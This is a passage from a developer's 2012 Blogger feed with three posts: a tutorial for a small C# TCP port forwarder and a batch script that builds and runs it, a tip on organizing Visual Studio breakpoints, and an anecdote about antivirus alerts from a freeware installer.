No rocket science here: using both Asynchronous (good old&amp;nbsp;&lt;a href=&quot;http://msdn.microsoft.com/en-us/magazine/cc163467.aspx&quot;&gt;CLR&amp;nbsp;APM&lt;/a&gt; in this case) and Synchronous Socket programming, few C# lines of code with one method exposed as an entry point taking the endpoints as parameter.&lt;br /&gt;
&lt;br /&gt;
When I say asynchronous and synchronous, it&#39;s because the code has three synchronous methods from the Socket class been called. The first is the Socket.Accept() which blocks the thread until a connection is received. I chose this technique so that the Start method would never return and the main thread would handle the main socket.&lt;br /&gt;
&lt;br /&gt;
The second synchronous method used is Socket.Send. This method also blocks the thread (in this case will be a thread from the ThreadPool due to async I/O that fired the receive callback). When one socket receives data, it forwards to the second socket in a synchronous manner, before asynchronously restarting to receive data.&lt;br /&gt;
&lt;br /&gt;
In fact, a few tests I ran (&lt;b&gt;where one socket is only flushing all buffer to a second socket&lt;/b&gt;) using BeginSend (asynchronous Socket.Send) performed slower then the synchronous Send.&lt;br /&gt;
&lt;br /&gt;
Third, the Socket.Connect() which initiates the connection with the remote endpoint, where you want the data you send to the program to be forwarded to.&lt;br /&gt;
&lt;br /&gt;
Once a connection is established,&amp;nbsp;APM&amp;nbsp;is used with &lt;i&gt;Begin&lt;/i&gt;Receive/&lt;i&gt;End&lt;/i&gt;Receive to receive data. This means each pair of sockets will receive data using APM and use the same thread from the pool that called the callback to send the data to the other socket.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;Let&#39;s run it!&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Previously, I just wrote a class, right? That&#39;s far from having an executable.&lt;br /&gt;
As I mentioned before,&amp;nbsp;my idea here was not to have &lt;i&gt;yet another TCP Forwarding&lt;/i&gt; tool on Github, codeplex or codeproject, with dozens of files, so that we could forward some data.&lt;br /&gt;
&lt;br /&gt;
So I propose a small change to the code above:&lt;br /&gt;
Let&#39;s add a &lt;b&gt;static Main&lt;/b&gt; method to that class and build it as a command-line application:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush: csharp&quot;&gt;        static void Main(string[] args)
        {
            new TcpForwarderSlim().Start(
                new IPEndPoint(IPAddress.Parse(args[0]), int.Parse(args[1])),
                new IPEndPoint(IPAddress.Parse(args[2]), int.Parse(args[3])));
        }
&lt;/pre&gt;
&lt;br /&gt;
After that we can compile it with:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;csc /o+ /debug- /out:TcpForwarder.exe /t:exe TcpForwarderSlim.cs&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Even though I used C# compiler vesion: 4.0.30319.17020, code will compile just fine even with version 2.0 of the .Net Framework. The generated assembly has size: 5,632 bytes.&lt;br /&gt;
&lt;br /&gt;
Let&#39;s try it out by browsing &lt;a href=&quot;http://xkcd.com/&quot;&gt;xkcd&lt;/a&gt;. We get their IP address and setup the tunnel:&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;C:\&amp;gt;ping xkcd.com&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;Pinging xkcd.com [&lt;b&gt;107.6.106.82&lt;/b&gt;] with 32 bytes of data:&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;C:\&amp;gt;&lt;b&gt;TcpForwarder.exe 127.0.0.1 12345 107.6.106.82 80&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiM4hZ3guwL3hOEAtiFuIiUYxJpUch2NGFerd_ONLUJWvacGWd3C2HkhbxyyHuZMUMub8lrem_6kRm1SglKsjr6DvUcQkIflzpjBulpe-MfNgR-qUf0ayCH8ULZFFebfkbR7JxqTVcNFFU/s1600/xkcd+via+tcp+tunnel.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiM4hZ3guwL3hOEAtiFuIiUYxJpUch2NGFerd_ONLUJWvacGWd3C2HkhbxyyHuZMUMub8lrem_6kRm1SglKsjr6DvUcQkIflzpjBulpe-MfNgR-qUf0ayCH8ULZFFebfkbR7JxqTVcNFFU/s320/xkcd+via+tcp+tunnel.png&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Viewing xkcd via TCP Tunnel&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
Great comics by the way! As usual.&lt;br /&gt;
&lt;br /&gt;
Notice the address bar contains &lt;i&gt;localhost:12345&lt;/i&gt;, which makes sense considering we set up the tunnel as: 127.0.0.1 port 12345 as local endpoint.&amp;nbsp;On the bottom of the screenshot there&#39;s the Firefox extension &lt;a href=&quot;https://addons.mozilla.org/en-us/firefox/addon/dns-flusher/&quot;&gt;DNS Flusher&lt;/a&gt; bar that shows &lt;b&gt;::1 &lt;/b&gt;which is the loopback address in IPv6.&lt;br /&gt;
&lt;br /&gt;
If you think I might have a copy of xkcd comics number 1118 on my hard drive (the whole page, actually) and a web server binding port 12345, that&#39;s not the case. :)&lt;br /&gt;
&lt;br /&gt;
Now, we have a class file with 73 lines of code (after adding the static Main method) but there&#39;s still some manual job in order to get the tunnel working. So let&#39;s try to automate this a bit more. Perhaps scripting the whole thing?!&lt;br /&gt;
&lt;br /&gt;
The code can be a lot smaller if using minification. Got a nice &lt;a href=&quot;http://stackoverflow.com/questions/1391152/c-sharp-code-minification-tools-and-techniques&quot;&gt;hint on Stack overflow&lt;/a&gt;&amp;nbsp;using Visual Studio find and replace with Regex:&amp;nbsp;&lt;span style=&quot;background-color: white; font-family: &amp;quot;arial&amp;quot; , &amp;quot;liberation sans&amp;quot; , &amp;quot;dejavu sans&amp;quot; , sans-serif; font-size: 14px; line-height: 18px;&quot;&gt;&lt;b&gt;:Wh+&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
We create a script, let&#39;s say &lt;i&gt;buildTcpForwarder.cmd,&amp;nbsp;&lt;/i&gt;not forgetting to escape the &amp;gt; sign with ^ so that the interpreter ignores it. Note I have the path to the C# compiler (&lt;i&gt;csc.exe&lt;/i&gt;) on my PATH environment variable&lt;br /&gt;
&lt;br /&gt;
echo using System; using System.Net; using System.Net.Sockets; namespace BrunoGarcia.Net { public class TcpForwarderSlim {&amp;nbsp;private readonly Socket MainSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); static void Main(string[] args) { new TcpForwarderSlim().Start( new IPEndPoint(IPAddress.Parse(args[0]), int.Parse(args[1])), new IPEndPoint(IPAddress.Parse(args[2]), int.Parse(args[3]))); } public void Start(IPEndPoint local, IPEndPoint remote) { MainSocket.Bind(local); MainSocket.Listen(5); while (true) { var source = MainSocket.Accept(); var destination = new TcpForwarderSlim(); var state = new State(source, destination.MainSocket); destination.Connect(remote, source); source.BeginReceive(state.Buffer, 0, state.Buffer.Length, 0, OnDataReceive, state); } } private void Connect(EndPoint remoteEndpoint, Socket destination) { var state = new State(MainSocket, destination); MainSocket.Connect(remoteEndpoint); MainSocket.BeginReceive(state.Buffer, 0, state.Buffer.Length, SocketFlags.None, OnDataReceive, state); } private static void OnDataReceive(IAsyncResult result) { var state = (State)result.AsyncState; try { var bytesRead = state.SourceSocket.EndReceive(result); if (bytesRead ^&amp;gt; 0) { state.DestinationSocket.Send(state.Buffer, bytesRead, SocketFlags.None); state.SourceSocket.BeginReceive(state.Buffer, 0, state.Buffer.Length, 0, OnDataReceive, state); } } catch { state.DestinationSocket.Close(); state.SourceSocket.Close(); } } private class State { public Socket SourceSocket { get; private set; } public Socket DestinationSocket { get; private set; } public byte[] Buffer { get; private set; } public State(Socket source, Socket destination) { SourceSocket = source; DestinationSocket = destination; Buffer = new byte[8192]; } } } } &amp;gt; source.cs&lt;br /&gt;
&lt;br /&gt;
csc /o+ /debug- /out:TcpForwarder.exe /t:exe source.cs
&lt;br /&gt;
&lt;br /&gt;
TcpForwarder.exe %1 %2 %3 %4&lt;br /&gt;
&lt;br /&gt;
Now just call the script:&lt;br /&gt;
&lt;br /&gt;
C:\buildTcpForwarder.cmd 127.0.0.1 12345 107.6.106.82 80&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
C:\&amp;gt;echo using System; using System.Net; using System.Net.Sockets; na&lt;br /&gt;
mespace BrunoGarcia.Net { public class TcpForwarderSlim { private readonly Sock&lt;br /&gt;
et MainSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, Protoc&lt;br /&gt;
olType.Tcp); static void Main(string[] args) { new TcpForwarderSlim().Start( new&lt;br /&gt;
&amp;nbsp;IPEndPoint(IPAddress.Parse(args[0]), int.Parse(args[1])), new IPEndPoint(IPAddr&lt;br /&gt;
ess.Parse(args[2]), int.Parse(args[3]))); } public void Start(IPEndPoint local,&lt;br /&gt;
IPEndPoint remote) { MainSocket.Bind(local); MainSocket.Listen(5); while (true)&lt;br /&gt;
{ var source = MainSocket.Accept(); var destination = new TcpForwarderSlim(); va&lt;br /&gt;
r state = new State(source, destination.MainSocket); destination.Connect(remote,&lt;br /&gt;
&amp;nbsp;source); source.BeginReceive(state.Buffer, 0, state.Buffer.Length, 0, OnDataRec&lt;br /&gt;
eive, state); } } private void Connect(EndPoint remoteEndpoint, Socket destinati&lt;br /&gt;
on) { var state = new State(MainSocket, destination); MainSocket.Connect(remoteE&lt;br /&gt;
ndpoint); MainSocket.BeginReceive(state.Buffer, 0, state.Buffer.Length, SocketFl&lt;br /&gt;
ags.None, OnDataReceive, state); } private static void OnDataReceive(IAsyncResul&lt;br /&gt;
t result) { var state = (State)result.AsyncState; try { var bytesRead = state.So&lt;br /&gt;
urceSocket.EndReceive(result); if (bytesRead &amp;gt; 0) { state.DestinationSocket.Send&lt;br /&gt;
(state.Buffer, bytesRead, SocketFlags.None); state.SourceSocket.BeginReceive(sta&lt;br /&gt;
te.Buffer, 0, state.Buffer.Length, 0, OnDataReceive, state); } } catch { state.D&lt;br /&gt;
estinationSocket.Close(); state.SourceSocket.Close(); } } private class State {&lt;br /&gt;
public Socket SourceSocket { get; private set; } public Socket DestinationSocket&lt;br /&gt;
&amp;nbsp;{ get; private set; } public byte[] Buffer { get; private set; } public State(S&lt;br /&gt;
ocket source, Socket destination) { SourceSocket = source; DestinationSocket = d&lt;br /&gt;
estination; Buffer = new byte[8192]; } } } } &amp;nbsp;1&amp;gt;source.cs&lt;br /&gt;
&lt;br /&gt;
C:\&amp;gt;csc /o+ /debug- /out:TcpForwarder.exe /t:exe source.cs&lt;br /&gt;
Microsoft (R) Visual C# 2010 Compiler version&amp;nbsp;4.0.30319.17020&lt;br /&gt;
Copyright (C) Microsoft Corporation. All rights reserved.&lt;br /&gt;
&lt;br /&gt;
C:\&amp;gt;TcpForwarder.exe 127.0.0.1 12345 107.6.106.82 80&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The source file is generated, built and the tunnel starts with the parameters we passed to the script so we can check &lt;a href=&quot;http://xkcd.com/&quot;&gt;xkcd&lt;/a&gt; once more via TCP Forwarding.</content><link rel='replies' type='application/atom+xml' href='https://blog.brunogarcia.com/feeds/2721137023558397088/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://blog.brunogarcia.com/2012/10/simple-tcp-forwarder-in-c.html#comment-form' title='17 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/2721137023558397088'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/2721137023558397088'/><link rel='alternate' type='text/html' href='https://blog.brunogarcia.com/2012/10/simple-tcp-forwarder-in-c.html' title='Simple TCP Forwarder in C#'/><author><name>Bruno Garcia</name><uri>http://www.blogger.com/profile/06119275781495671664</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyv6-cCkFMKtcSguiNxCAQG74GHyyx16kbvJUAAiK94IPIaJbyWM9zmD7Kjz9sBj42PYbMABHPfRbKQZ_bOpewa7pDd7wtPEWomKfDflOZ3u4h_c1O4baOmkwL3gvTOA/s100/286d2db.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiM4hZ3guwL3hOEAtiFuIiUYxJpUch2NGFerd_ONLUJWvacGWd3C2HkhbxyyHuZMUMub8lrem_6kRm1SglKsjr6DvUcQkIflzpjBulpe-MfNgR-qUf0ayCH8ULZFFebfkbR7JxqTVcNFFU/s72-c/xkcd+via+tcp+tunnel.png" height="72" width="72"/><thr:total>17</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7930636163197548393.post-5028203181251481634</id><published>2012-08-08T21:37:00.000+02:00</published><updated>2012-08-09T19:13:33.878+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Breakpoints"/><category scheme="http://www.blogger.com/atom/ns#" term="Visual Studio"/><title type='text'>Organizing Debugging Sessions</title><content type='html'>When working with Enterprise applications, with thousands of lines of code (aka: KLOC) and hundreds of references, several techniques are used to improve productivity when it comes to debugging code. It&#39;s very common to end up debugging the same portion of the system from time to time and too often these are source files from different solutions, spread in a huge source tree.&lt;br /&gt;
&lt;br /&gt;
Once we are done with debugging something, perhaps not deleting the breakpoints and start to debug something else, it happens to get stuck with those &quot;old&quot; breakpoints. First reflex is to hit F5 so flow can continue, only until that happens enough times so we actually remove them. At least for me that&#39;s a bit annoying and counter productive.&lt;br /&gt;
&lt;br /&gt;
Perhaps we just &lt;i&gt;Disable all breakpoints? &lt;/i&gt;Fine, works well, but it happens that you keep doing it until the point you enable them again to get some back and end up having several breakpoints you really don&#39;t need at that point. Here starts that annoying&amp;nbsp;behavior&amp;nbsp;again.&lt;br /&gt;
&lt;br /&gt;
Last option would be to delete all breakpoints when you start debugging something else. However, at some point you&#39;ll wish you had those breakpoints, especially those&amp;nbsp;&lt;u&gt;&lt;i&gt;Conditional breakpoints&lt;/i&gt;&lt;/u&gt;&lt;b&gt; &lt;/b&gt;or &lt;i&gt;When hit/ Run macro,&amp;nbsp;&lt;/i&gt;because you are back looking at that portion of the system once more.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;But wait! Who said that was the last option?&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
This is when the &lt;i&gt;&lt;a href=&quot;http://msdn.microsoft.com/cs-cz/library/dd293657.aspx&quot;&gt;Import and Export breakpoints&lt;/a&gt;&lt;/i&gt; for Visual Studio has its best use. You can read a lot about &quot;&lt;a href=&quot;http://blogs.msdn.com/b/habibh/archive/2009/06/15/importing-and-exporting-breakpoints-in-visual-studio-2010.aspx&quot;&gt;handing off a debugging session to another developer&lt;/a&gt;&quot; as the main reason to use it, and for sure it&#39;s valid but I believe the most common reason to use this would be to &lt;b&gt;organize your own debug sessions&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
My objective here is not to describe &lt;i&gt;how to import and export breakpoints, &lt;/i&gt;this is very straight forward and you can check it &lt;a href=&quot;http://blogs.msdn.com/b/zainnab/archive/2010/01/28/how-to-import-and-export-breakpoints-vstipdebug0003.aspx&quot;&gt;here&lt;/a&gt;. I&#39;d like to point out that as we have these t-sql scripts saved, to make our lives easier when troubleshooting database related issues, saving your breakpoints can save you a lot of time when debugging code.&lt;br /&gt;
&lt;br /&gt;
This is mostly useful when working with huge applications, with many source files that are part of your debugging but are not part of the solution you have loaded with Visual Studio. Once you have imported your breakpoints, you can easily open any file by double clicking the breakpoint on &lt;i&gt;Breakpoint window&lt;/i&gt;&amp;nbsp;(CTRL + D, B).&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtKfzVVNb3DixQoNr6O_cXBDtXT3rqfz9yT-_fIeN_KKbNAm3g6bWn_6WdGBRcn7Wi1J2APk-fp3H-8Td6zhMeQgKD0NqM6KebEpGNbJ1ypn7IvG2eX3TBnNHbJHeRNs3obrUKGl7wWWY/s1600/Breakpoint+window.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;72&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtKfzVVNb3DixQoNr6O_cXBDtXT3rqfz9yT-_fIeN_KKbNAm3g6bWn_6WdGBRcn7Wi1J2APk-fp3H-8Td6zhMeQgKD0NqM6KebEpGNbJ1ypn7IvG2eX3TBnNHbJHeRNs3obrUKGl7wWWY/s400/Breakpoint+window.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
If you don&#39;t organize your debug sessions by importing and exporting breakpoints, give it a try!</content><link rel='replies' type='application/atom+xml' href='https://blog.brunogarcia.com/feeds/5028203181251481634/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://blog.brunogarcia.com/2012/08/organizing-debugging-sessions.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/5028203181251481634'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/5028203181251481634'/><link rel='alternate' type='text/html' href='https://blog.brunogarcia.com/2012/08/organizing-debugging-sessions.html' title='Organizing Debugging Sessions'/><author><name>Bruno Garcia</name><uri>http://www.blogger.com/profile/06119275781495671664</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyv6-cCkFMKtcSguiNxCAQG74GHyyx16kbvJUAAiK94IPIaJbyWM9zmD7Kjz9sBj42PYbMABHPfRbKQZ_bOpewa7pDd7wtPEWomKfDflOZ3u4h_c1O4baOmkwL3gvTOA/s100/286d2db.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtKfzVVNb3DixQoNr6O_cXBDtXT3rqfz9yT-_fIeN_KKbNAm3g6bWn_6WdGBRcn7Wi1J2APk-fp3H-8Td6zhMeQgKD0NqM6KebEpGNbJ1ypn7IvG2eX3TBnNHbJHeRNs3obrUKGl7wWWY/s72-c/Breakpoint+window.PNG" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7930636163197548393.post-7037501906740517184</id><published>2012-06-29T17:13:00.000+02:00</published><updated>2012-10-08T17:15:45.956+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Security"/><title type='text'>Paranoid android</title><content type='html'>I have been finding quite hard to trust nearly any application for many years. When you think of the underlying infrastructure that exist to enable you hit a server, download a piece of software and everything that could go wrong.&lt;br /&gt;
&lt;br /&gt;
What if I&#39;m hitting a spoofed DNS Server?&lt;br /&gt;
my access point was&amp;nbsp;&lt;span style=&quot;background-color: white;&quot;&gt;cracked&lt;/span&gt;&lt;span style=&quot;background-color: white;&quot;&gt;?&lt;/span&gt;&lt;br /&gt;
one hacked the telco router and is deviating my traffic through another box?&lt;br /&gt;
or what if I already have some piece of software installed eavesdropping my browsing?&lt;br /&gt;
&lt;br /&gt;
This paranoid list could go on forever. Obviously there&#39;s something you can do to avoid or monitor each of these items, but the truth is that you can never say, 100%, that every page you hit will be harmless and there is no malicious code running on your computer or that some piece of software is&amp;nbsp;completely&amp;nbsp;safe to be executed without some privacy concerns or whatever.&lt;br /&gt;
&lt;br /&gt;
When you think about all these exploits coming out, for all kind of software, you can get quite paranoid.&lt;br /&gt;
Like on Windows, you click a file with extension .docx, well, you know Word will fire up and parse that file.&lt;br /&gt;
You know that there was already problems with Microsoft Office, Flash, and several other softwares, when parsing that would execute some shellcode stored in that file, and you would have no idea by looking at &quot;its Word document Icon&quot;.&lt;br /&gt;
What about web related security issues? I suppose I&#39;m not the only paranoid, am I?&lt;br /&gt;
&lt;br /&gt;
I&#39;m going on a trip this weekend and I decided to download a set from Astrix, from Youtube. That&#39;s legal, right? Can I write this here? Anyhow, I changed my mind and didn&#39;t! ;)&lt;br /&gt;
&lt;br /&gt;
There are tons of websites&amp;nbsp;dedicated&amp;nbsp;for that, but they aren&#39;t happy to do videos longer than 1 hour and&amp;nbsp;&lt;span style=&quot;background-color: white;&quot;&gt;I had to think of another way.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
For long I&#39;ve known that it&#39;s always a bad idea to download these &quot;tools&quot;, but I decided to give it a try.&lt;br /&gt;
Found a mainstream one, from&amp;nbsp;&lt;a href=&quot;http://www.dvdvideosoft.com/&quot;&gt;dvdvideosoft&lt;/a&gt;, called&amp;nbsp;&lt;a href=&quot;http://www.dvdvideosoft.com/products/dvd/Free-YouTube-To-MP3-Converter.htm&quot;&gt;Free Youtube to Mp3&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Downloaded the quite big package, 26 Mb... And the first thing that popped in my head was:&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&lt;a href=&quot;http://www.ciol.com/Security/News-Reports/Flame-virus-Difficult-modules-yet-to-come/163565/0/&quot;&gt;Unlike Stuxnet and Duqu which had a specific target, Flame is more generic and its size is&lt;b&gt; 20 mega bytes&lt;/b&gt;, which is huge considering that anti-virus experts have seen codes of just 1 mb so far&lt;/a&gt;&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Waited for the Antivirus to popup or something, calling me stupid, but nothing happened.&lt;br /&gt;
Since the paranoia doesn&#39;t go away, I thought: Let&#39;s check if the file is signed:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipIsc6LiFBog5hTJ-l5GNUXVt0Rlz4OHKhPWxGoAwVMzmBwBVsTL-XknOPlg6_4kbKADC_jRJy09dW0JpaLsO2ra0RTiCwbGy-ovoiLCzqdpw5FpShFK7J_i2YSJ9MBUjEUBNC8SPT8to/s1600/dvdvideosoft+signature.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipIsc6LiFBog5hTJ-l5GNUXVt0Rlz4OHKhPWxGoAwVMzmBwBVsTL-XknOPlg6_4kbKADC_jRJy09dW0JpaLsO2ra0RTiCwbGy-ovoiLCzqdpw5FpShFK7J_i2YSJ9MBUjEUBNC8SPT8to/s320/dvdvideosoft+signature.png&quot; width=&quot;238&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
All seems good, time to get some Astrix!&lt;br /&gt;
Ran that stuff, read (ok, like 20% of) the privacy agreement, everything went fine and I fired up the app.&lt;br /&gt;
&lt;br /&gt;
Aha! So now I got two windows, one from the App, and the other one from Symantec Antivirus!&lt;br /&gt;
My thoughts, throughout 3.2 milliseconds were:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;background-color: white;&quot;&gt;F%$*&amp;amp; I knew this was crap.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: white;&quot;&gt;This means that all other apps I executed, and my anti virus didn&#39;t pop up, were freaking malware?&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: white;&quot;&gt;False positive maybe? Try not to be too paranoid dude!&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: white;&quot;&gt;I suppose the reverse shell is running right now....&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
The message from the antivirus was:&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;SYMANTEC TAMPER PROTECTION ALERT
&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;Target: &amp;nbsp;C:\Program Files (x86)\Symantec\Symantec Endpoint Protection\12.1.1000.157.105\Bin\ccSvcHst.exe&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;Event Info: &amp;nbsp;Create Process&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;ActionTaken: &amp;nbsp;Blocked&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;Actor Process: &amp;nbsp;C:\PROGRAM FILES (X86)\COMMON FILES\DVDVIDEOSOFT\BIN\DVSSERVICE.EXE (PID 11480)&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
And again:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;SYMANTEC TAMPER PROTECTION ALERT&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;Target: &amp;nbsp;C:\Program Files (x86)\Symantec\Symantec Endpoint Protection\12.1.1000.157.105\Bin\SavUI.exe&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;Event Info: &amp;nbsp;Create Process&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;ActionTaken: &amp;nbsp;Blocked&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;Actor Process: &amp;nbsp;C:\PROGRAM FILES (X86)\COMMON FILES\DVDVIDEOSOFT\BIN\DVSSERVICE.EXE (PID 9092)&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
This kind of situation does not help a paranoid guy. Finally I uninstalled the program and made new plans for a new VM where I can grow a colony of viruses while testing stuff out.&lt;br /&gt;
&lt;br /&gt;
EDIT:&lt;br /&gt;
&lt;br /&gt;
I&#39;m currently reading &lt;i&gt;CLR via C#&lt;/i&gt;&amp;nbsp;from Jeffrey Richter and when he talks about .NET framework deployment goals and why Microsoft Windows has a reputation for being unstable and complicated. I found something I think it&#39;s worth quoting here:&lt;br /&gt;
&lt;br /&gt;
&quot;... The third reason has to do with security. When applications are installed, they come with all kinds of files, many of them written by different companies. In addition, Web applications frequently have code (like ActiveX controls) that is downloaded in such a way that users don&#39;t even realize that code is being installed on their machine. Today, this code can perform any operation, including deleting files or sending e-mail. &lt;b&gt;Users are right to be terrified of installing new applications because of the potential damage they can cause.&lt;/b&gt; To make users comfortable, security must be built into the system so that the users can explicitly allow or disallow code developed by various companies to access their system&#39;s resources.&quot;&lt;br /&gt;
&lt;br /&gt;
- Jeffrey Richter, CLR via C# third edition.&lt;br /&gt;
&lt;br /&gt;
This paragraph and specially the text highlighted (by me) gives me the feeling I&#39;m not alone in this paranoia. :)</content><link rel='replies' type='application/atom+xml' href='https://blog.brunogarcia.com/feeds/7037501906740517184/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://blog.brunogarcia.com/2012/06/paranoid-android.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/7037501906740517184'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/7037501906740517184'/><link rel='alternate' type='text/html' href='https://blog.brunogarcia.com/2012/06/paranoid-android.html' title='Paranoid android'/><author><name>Bruno Garcia</name><uri>http://www.blogger.com/profile/06119275781495671664</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyv6-cCkFMKtcSguiNxCAQG74GHyyx16kbvJUAAiK94IPIaJbyWM9zmD7Kjz9sBj42PYbMABHPfRbKQZ_bOpewa7pDd7wtPEWomKfDflOZ3u4h_c1O4baOmkwL3gvTOA/s100/286d2db.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipIsc6LiFBog5hTJ-l5GNUXVt0Rlz4OHKhPWxGoAwVMzmBwBVsTL-XknOPlg6_4kbKADC_jRJy09dW0JpaLsO2ra0RTiCwbGy-ovoiLCzqdpw5FpShFK7J_i2YSJ9MBUjEUBNC8SPT8to/s72-c/dvdvideosoft+signature.png" height="72" width="72"/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7930636163197548393.post-3833022272078896137</id><published>2012-05-22T19:37:00.000+02:00</published><updated>2012-08-12T17:29:56.682+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term=".Net Framework 4"/><category scheme="http://www.blogger.com/atom/ns#" term="Convert multiple web.config"/><category scheme="http://www.blogger.com/atom/ns#" term="Re-target multiple applications"/><title 